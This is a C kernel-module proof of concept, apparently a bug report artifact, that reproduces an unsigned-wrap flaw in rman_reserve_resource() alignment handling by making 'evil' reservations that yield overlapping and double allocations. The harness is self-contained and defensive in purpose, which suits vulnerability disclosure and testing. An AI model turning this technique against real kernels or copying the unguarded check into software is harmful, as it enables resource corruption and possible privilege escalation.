DF-2853 / rman_overlap.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | /* * DF-2853 PoC: rman_reserve_resource() alignment-roundup unsigned wrap * => resource allocated OUTSIDE the scanned free fragment * => overlapping allocations + free-fragment inflation. * * sys/kern/subr_rman.c:247-254 computes * rstart = rounddown2(max(s->r_start,start) + (1<<align)-1, 1<<align); * rend = ulmin(s->r_end, ulmax(start+count-1, end)); * if ((rend - rstart + 1) >= count) <-- WRAPS when rstart > rend * * If the alignment roundup pushes rstart past rend (fragment that does not * contain an aligned base and ends >=1 below the roundup boundary), * (rend - rstart + 1) underflows to ~ULONG_MAX and the size check passes * for ANY count. The split logic then hands out [rstart, rstart+count-1], * an address range that belongs to the NEXT (possibly allocated!) region, * and mutates the free fragment s->r_end = rstart - 1, inflating it across * its neighbor. FreeBSD guards this with `if (rstart > rend) continue;`. * * Build: see build.sh (in-guest, /usr/src kernel module). * Run: kldload ./rman_overlap.ko ; watch console/dmesg. * Success criterion: "REPRODUCED" lines showing E=[0x2000,0x2000] inside * allocated B=[0x1FFF,0x2FFF] and X=[0x1FFF] double-allocated with B. */ #include <sys/param.h> #include <sys/systm.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/rman.h> static struct rman orm; static struct resource *rA, *rB, *rE, *rX; static void dump_list(const char *tag) { struct resource *p; kprintf("rman_overlap: list %-10s:", tag); TAILQ_FOREACH(p, &orm.rm_list, r_link) kprintf(" [%#lx-%#lx]%s", p->r_start, p->r_end, (p->r_flags & RF_ALLOCATED) ? "A" : "f"); kprintf("\n"); } static int rman_overlap_modev(module_t mod __unused, int what, void *arg __unused) { int rc; switch (what) { case MOD_LOAD: bzero(&orm, sizeof(orm)); orm.rm_type = RMAN_ARRAY; orm.rm_descr = "overlap-harness"; orm.rm_start = 0; orm.rm_end = 0x2FFF; rc = rman_init(&orm, 0); if (rc) { kprintf("rman_overlap: rman_init=%d\n", rc); return (rc); } rc = rman_manage_region(&orm, 0x0000, 0x2FFF); if (rc) { kprintf("rman_overlap: manage=%d\n", rc); return (rc); } /* * Legit allocations: * A = [0x0000, 0x1EFF] (count 0x1F00, no alignment) * B = [0x1FFF, 0x2FFF] (count 0x1001, no alignment) * leaving free fragment F = [0x1F00, 0x1FFE]. */ /* * NB: dev=NULL — real device_t fakes would crash unprivileged * hw.bus.rman walkers (sysctl_rman calls device_get_name on * every entry, incl. our corrupted ones; see * panic-sysctl-walk.txt). NULL keeps the walk safe. */ rA = rman_reserve_resource(&orm, 0x0000, 0x1EFF, 0x1F00, 0, NULL); rB = rman_reserve_resource(&orm, 0x1FFF, 0x2FFF, 0x1001, 0, NULL); kprintf("rman_overlap: A=%p B=%p\n", rA, rB); if (rA == NULL || rB == NULL) { kprintf("rman_overlap: setup failed\n"); return (ENXIO); } kprintf("rman_overlap: A=[%#lx,%#lx] B=[%#lx,%#lx]\n", rman_get_start(rA), rman_get_end(rA), rman_get_start(rB), rman_get_end(rB)); dump_list("setup"); /* * Evil request: 1 unit anywhere in [0,0xFFFF] with 0x1000 * alignment. roundup(0x1F00, 0x1000) = 0x2000 > F end * (0x1FFE) => (rend-rstart+1) wraps => matches F. */ rE = rman_reserve_resource(&orm, 0x0000, 0xFFFF, 1, RF_ALIGNMENT_LOG2(12), NULL); kprintf("rman_overlap: EVIL1 E=%p", rE); if (rE != NULL) kprintf(" [%#lx,%#lx]", rman_get_start(rE), rman_get_end(rE)); if (rE != NULL && rman_get_start(rE) == 0x2000 && rman_get_end(rE) == 0x2000) { kprintf(" ==> REPRODUCED: allocated inside allocated" " B=[0x1FFF,0x2FFF] and outside free fragment" " F=[0x1F00,0x1FFE]\n"); } else { kprintf(" ==> not reproduced (guard present?)\n"); } dump_list("after-E"); /* * Second consequence: the free fragment got inflated to * [0x1F00,0x1FFF] (overlapping B's first unit), so a plain * request for 0x1FFF is granted although B owns it. */ rX = rman_reserve_resource(&orm, 0x1FFF, 0x1FFF, 1, 0, NULL); kprintf("rman_overlap: EVIL2 X=%p", rX); if (rX != NULL) kprintf(" [%#lx,%#lx]", rman_get_start(rX), rman_get_end(rX)); if (rX != NULL && rman_get_start(rX) == 0x1FFF) { kprintf(" ==> REPRODUCED: 0x1FFF now owned by B AND X" " (double allocation)\n"); } else { kprintf(" ==> correctly denied\n"); } dump_list("after-X"); kprintf("rman_overlap: load complete\n"); return (0); case MOD_UNLOAD: /* release in a safe order; tolerate NULLs on a fixed kernel */ if (rA) { rman_release_resource(rA); rA = NULL; } if (rB) { rman_release_resource(rB); rB = NULL; } if (rE) { rman_release_resource(rE); rE = NULL; } if (rX) { rman_release_resource(rX); rX = NULL; } rc = rman_fini(&orm); kprintf("rman_overlap: unloaded (fini=%d)\n", rc); return (0); } return (EOPNOTSUPP); } static moduledata_t rman_overlap_mod = { "rman_overlap", rman_overlap_modev, NULL }; DECLARE_MODULE(rman_overlap, rman_overlap_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); |